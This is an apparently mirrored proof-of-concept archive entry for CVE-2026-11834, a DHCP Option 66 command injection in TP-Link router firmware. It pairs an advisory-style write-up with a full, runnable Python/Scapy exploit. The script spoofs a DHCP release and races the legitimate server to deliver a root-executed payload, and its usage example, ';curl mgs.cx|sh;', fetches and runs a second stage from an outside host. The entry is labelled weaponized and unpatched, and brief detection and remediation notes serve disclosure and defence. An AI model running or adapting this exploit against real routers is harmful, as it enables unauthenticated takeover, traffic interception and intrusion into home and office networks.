PoC Archive PoC Archive
Critical CVE-2026-11834 unpatched

TP-Link DHCP Option 66 Unauthenticated RCE — CVE-2026-11834

by Matt Graham (mattgsys) · 2026-07-05

Severity
Critical
CVE
CVE-2026-11834
Category
network
Affected product
TP-Link router firmware (libcmm.so DHCP client), tested on Archer C20 V6
Affected versions
Archer C20 V6, firmware 0.9.1 Build 4.19 (EU); vulnerable code path shared across other TP-Link models/firmware
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherMatt Graham (mattgsys)
CVE / AdvisoryCVE-2026-11834
Categorynetwork
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagstp-link, router, dhcp, command-injection, cwe-78, race-condition, rce, iot
RelatedN/A

Affected Target

FieldValue
Software / SystemTP-Link router firmware (libcmm.so DHCP client), tested on Archer C20 V6
Versions AffectedArcher C20 V6, firmware 0.9.1 Build 4.19 (EU); vulnerable code path shared across other TP-Link models/firmware
Language / PlatformPython 3 with Scapy, targeting embedded Linux router firmware over raw Ethernet/DHCP
Authentication RequiredNo
Network Access RequiredYes (attacker must be on the same network segment as the target’s WAN/DHCP-client interface)

Summary

TP-Link router firmware processes DHCP Option 66 (“TFTP Server Name”) from a lease it acquires on its WAN interface by concatenating the value unsanitized into a tftp shell command inside libcmm.so, which is ultimately passed to system() via util_execSystem(). Because Option 66 is truncated to 16 characters on-device, the practical payload is a compact fetch-and-execute string such as ;curl <domain>|sh; that pulls a full second-stage payload over HTTP. The attacker does not need to control the network’s legitimate DHCP server: the PoC races it by spoofing a DHCP RELEASE for the target (clearing its lease), waiting for the target to re-request an address, and then answering the target’s broadcast with a malicious OFFER/ACK carrying the Option 66 payload before the legitimate server can respond. This results in unauthenticated root command execution on the router.


Vulnerability Details

Root Cause

Multiple functions in libcmm.so build a tftp command string by concatenating the DHCP Option 66 (“TFTP Server Name”) value without sanitization, then execute it via util_execSystem()system(), allowing shell metacharacters in the Option 66 value to inject and execute arbitrary commands as root.

Attack Vector

  1. Attacker on the same network segment as the target’s WAN-facing DHCP client interface spoofs a DHCP RELEASE on the target’s behalf, clearing its lease binding on the legitimate DHCP server.
  2. Attacker waits for the target to broadcast a new DHCP DISCOVER/REQUEST to re-acquire an address.
  3. Attacker races the legitimate DHCP server, responding first with a malicious DHCP OFFER/ACK whose Option 66 field carries a short injection payload (e.g. ;curl <attacker-domain>|sh;, truncated to 16 characters on-device).
  4. The router’s DHCP client processes the lease, invokes the vulnerable tftp-command-building code in libcmm.so, and the injected shell command executes as root, typically fetching and running a larger second-stage payload from an attacker-controlled HTTP server.

Impact

Unauthenticated, network-adjacent remote code execution as root on the affected router, enabling full device takeover, traffic interception/manipulation, and use as a pivot point into the local network.


Environment / Lab Setup

Target:   TP-Link Archer C20 V6, firmware 0.9.1 Build 4.19 (EU)
Attacker: Python 3, Scapy, root/raw-socket privileges, same network segment as target's WAN interface

Proof of Concept

PoC Script

See cve-2026-11834.py in this folder.

1
2
3
sudo python3 cve-2026-11834.py <target_ip> -i <interface> -s <dhcp_server_ip> -S <dhcp_server_mac> -p '<payload>'

sudo python3 cve-2026-11834.py 10.0.10.110 -i eth0 -s 10.0.10.254 -S 00:f2:8b:99:86:46 -p ';curl mgs.cx|sh;'

The script spoofs a DHCP RELEASE for the target to clear its lease, listens for the target’s subsequent DHCP REQUEST, and races the legitimate DHCP server by sending a malicious ACK whose Option 66 field carries the injection payload — delivering fetch-and-execute code that runs as root on the target router.


Detection & Indicators of Compromise

Signs of compromise:

  • Router issuing outbound HTTP/curl requests to unfamiliar domains shortly after a DHCP lease renewal
  • Unexplained root-level processes or persistence artifacts on the router after a WAN interface DHCP renewal
  • Network captures showing a second host answering DHCP broadcasts alongside the legitimate DHCP server

Remediation

ActionDetail
Primary fixApply TP-Link’s firmware update addressing DHCP Option 66 handling (see vendor advisory)
Interim mitigationRestrict untrusted devices from the router’s WAN-facing broadcast domain, use DHCP snooping/port security on managed switches, and monitor for rogue DHCP servers

References


Notes

Mirrored from https://github.com/mattgsys/CVE-2026-11834 on 2026-07-05.

cve-2026-11834.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
#!/usr/bin/env python3
"""
TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834)
DHCP Race Attack - Proof of Concept
 
Author: Matt Graham (mattgsys)
CVE: CVE-2026-11834
 
A command injection vulnerability (CWE-78) in the DHCP Option 66 ("TFTP Server
Name") handling of TP-Link router firmware allows an unauthenticated attacker on
the same network segment to execute arbitrary commands as root. The Option 66
value returned in a DHCP lease is concatenated unsanitised into a `tftp` shell
command in libcmm.so, which is passed to util_execSystem() and ultimately
system(). The value is truncated to 16 characters on the device, so the payload
is a minimal fetch-and-execute (`;curl <domain>|sh;`) that pulls a larger second
stage over HTTP.
 
This PoC delivers the payload without controlling the DHCP server, by racing the
legitimate one on the segment:
 
1. Spoofs a DHCP RELEASE as the target, clearing the target's lease binding on
    the legitimate DHCP server.
2. Waits for the target's lease to lapse so it re-acquires its address.
3. Races the legitimate server, answering the target's broadcast with a
    malicious OFFER/ACK whose Option 66 value carries the payload.
 
Tested on:
- TP-Link Archer C20 V6, firmware 0.9.1 Build 4.19 (EU, hardware)
 
The vulnerable code path is shared across a range of TP-Link routers. Memory
offsets, function addresses, and behaviour may differ on other models or
firmware versions.
 
WARNING: The Option 66 payload is executed as root on the target device. Only
run this against hardware you own or are authorised to test.
"""

import argparse
import sys

from scapy.all import (
    BOOTP,
    DHCP,
    Ether,
    IP,
    UDP,
    conf,
    get_if_addr,
    get_if_hwaddr,
    getmacbyip,
    mac2str,
    sendp,
    sniff,
)

DESCRIPTION = "TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) - Race Attack"


def build_dhcp_reply(msg_type, xid, client_mac, args):
    """Construct a malicious DHCP OFFER or ACK carrying the Option 66 payload.

    The L2/L3 source is the attacker's own interface; the advertised server-id
    is the attacker's IP. Only the RELEASE impersonates the target.
    """
    return (
        Ether(src=get_if_hwaddr(args.interface), dst="ff:ff:ff:ff:ff:ff") /
        IP(src=args.attacker_ip, dst="255.255.255.255") /
        UDP(sport=67, dport=68) /
        BOOTP(
            op=2,
            htype=1,
            hlen=6,
            xid=xid,
            flags=0x8000,            # broadcast: target has no bound IP yet
            yiaddr=args.target_ip,   # offer the target back its previous IP
            siaddr=args.attacker_ip,
            chaddr=mac2str(client_mac) + b"\x00" * 10,
        ) /
        DHCP(options=[
            ("message-type", msg_type),
            ("server_id", args.attacker_ip),
            ("lease_time", args.lease_time),
            ("subnet_mask", args.subnet_mask),
            ("router", args.gateway),
            ("name_server", args.dns_server),
            (66, args.payload.encode()),
            "end",
        ])
    )


def send_release(args):
    """Spoof a DHCP RELEASE from the target to clear its binding on the server.

    The RELEASE is sourced as the target (IP and chaddr), so the legitimate
    server drops the target's lease. The target continues to treat its lease 
    as valid until its renewal timer (T1) expires.
    """
    release = (
        Ether(src=args.target_mac, dst=args.server_mac) /
        IP(src=args.target_ip, dst=args.server_ip) /
        UDP(sport=68, dport=67) /
        BOOTP(
            op=1,
            htype=1,
            hlen=6,
            xid=0xDEADBEEF,
            ciaddr=args.target_ip,
            chaddr=mac2str(args.target_mac) + b"\x00" * 10,
        ) /
        DHCP(options=[
            ("message-type", "release"),
            ("server_id", args.server_ip),
            ("client_id", b"\x01" + mac2str(args.target_mac)),
            "end",
        ])
    )

    print(f"[*] Sending spoofed DHCP RELEASE for {args.target_ip}")
    sendp(release, iface=args.interface, verbose=0)
    print("[*] RELEASE sent. Waiting for target to re-acquire lease...")


def make_handler(args, state):
    """Return a callback bound to the parsed arguments and run state."""

    def handle(pkt):
        if DHCP not in pkt or pkt[Ether].src.lower() != args.target_mac.lower():
            return

        xid = pkt[BOOTP].xid
        client_mac = pkt[Ether].src
        options = dict(o[:2] for o in pkt[DHCP].options if isinstance(o, tuple))
        msg_type = options.get("message-type")

        if msg_type == 1:  # DISCOVER
            print(f"[!] Got DHCP DISCOVER from {client_mac}, XID: {hex(xid)}")
            print("[>] Racing with malicious DHCP OFFER...")
            sendp(build_dhcp_reply("offer", xid, client_mac, args),
                  iface=args.interface, verbose=0)
            print("[>] OFFER sent")

        elif msg_type == 3:  # REQUEST
            print(f"[!] Got DHCP REQUEST from {client_mac}, XID: {hex(xid)}")

            # The REQUEST echoes the server-id of whichever offer the target
            # selected. Only answer if it picked us, or if it omitted the
            # server-id (INIT-REBOOT / renewing), where the ACK can still land.
            selected = options.get("server_id")
            if selected is not None and selected != args.attacker_ip:
                print(f"[-] Target selected {selected}, not us. Lost the race.")
                return

            print("[>] Sending malicious DHCP ACK...")
            sendp(build_dhcp_reply("ack", xid, client_mac, args),
                  iface=args.interface, verbose=0)
            print("[>] ACK sent. Payload delivered.")
            state["done"] = True

    return handle


def parse_args():
    p = argparse.ArgumentParser(description=DESCRIPTION)
    p.add_argument("target_ip",
                   help="Current IP address of the target device")
    p.add_argument("-i", "--interface", required=True,
                   help="Network interface on the target's segment")
    p.add_argument("-s", "--server-ip", required=True,
                   help="Legitimate DHCP server IP")
    p.add_argument("-S", "--server-mac", required=True,
                   help="Legitimate DHCP server MAC")
    p.add_argument("-t", "--target-mac",
                   help="Target MAC (auto-resolved via ARP if omitted)")
    p.add_argument("-a", "--attacker-ip",
                   help="Server-id advertised in the malicious lease "
                        "(defaults to the interface IP)")
    p.add_argument("-p", "--payload", required=True,
                   help="Option 66 value (<=16 chars), e.g. ';curl <domain>|sh;'")
    p.add_argument("--gateway",
                   help="Gateway to hand out (defaults to the DHCP server IP)")
    p.add_argument("--dns-server", default="8.8.8.8",
                   help="DNS server to hand out (default: 8.8.8.8)")
    p.add_argument("--subnet-mask", default="255.255.255.0",
                   help="Subnet mask to hand out (default: 255.255.255.0)")
    p.add_argument("--lease-time", type=int, default=60,
                   help="Lease time in seconds (default: 60)")
    return p.parse_args()


def main():
    args = parse_args()

    # Resolve defaults that depend on the interface or other arguments.
    if not args.attacker_ip:
        args.attacker_ip = get_if_addr(args.interface)
    if not args.gateway:
        args.gateway = args.server_ip
    if not args.target_mac:
        args.target_mac = getmacbyip(args.target_ip)
        if not args.target_mac:
            sys.exit(f"[-] Could not resolve MAC for {args.target_ip}. "
                     f"Pass it with --target-mac.")

    if len(args.payload) > 16:
        sys.exit(f"[-] Payload is {len(args.payload)} chars; the target "
                 f"truncates Option 66 to 16.")

    conf.iface = args.interface

    print(DESCRIPTION)
    print(f"  Target IP   : {args.target_ip}")
    print(f"  Target MAC  : {args.target_mac}")
    print(f"  DHCP Server : {args.server_ip} ({args.server_mac})")
    print(f"  Attacker IP : {args.attacker_ip}")
    print(f"  Interface   : {args.interface}")
    print(f"  Payload     : {args.payload}")
    print()

    state = {"done": False}

    # The target will not re-DISCOVER until its renewal timer expires, so the
    # RELEASE can be sent before sniffing starts with no risk of a race.
    send_release(args)

    sniff(filter="udp port 67 or udp port 68",
          prn=make_handler(args, state),
          stop_filter=lambda _: state["done"],
          iface=args.interface, store=0)

    print("[+] Done.")


if __name__ == "__main__":
    main()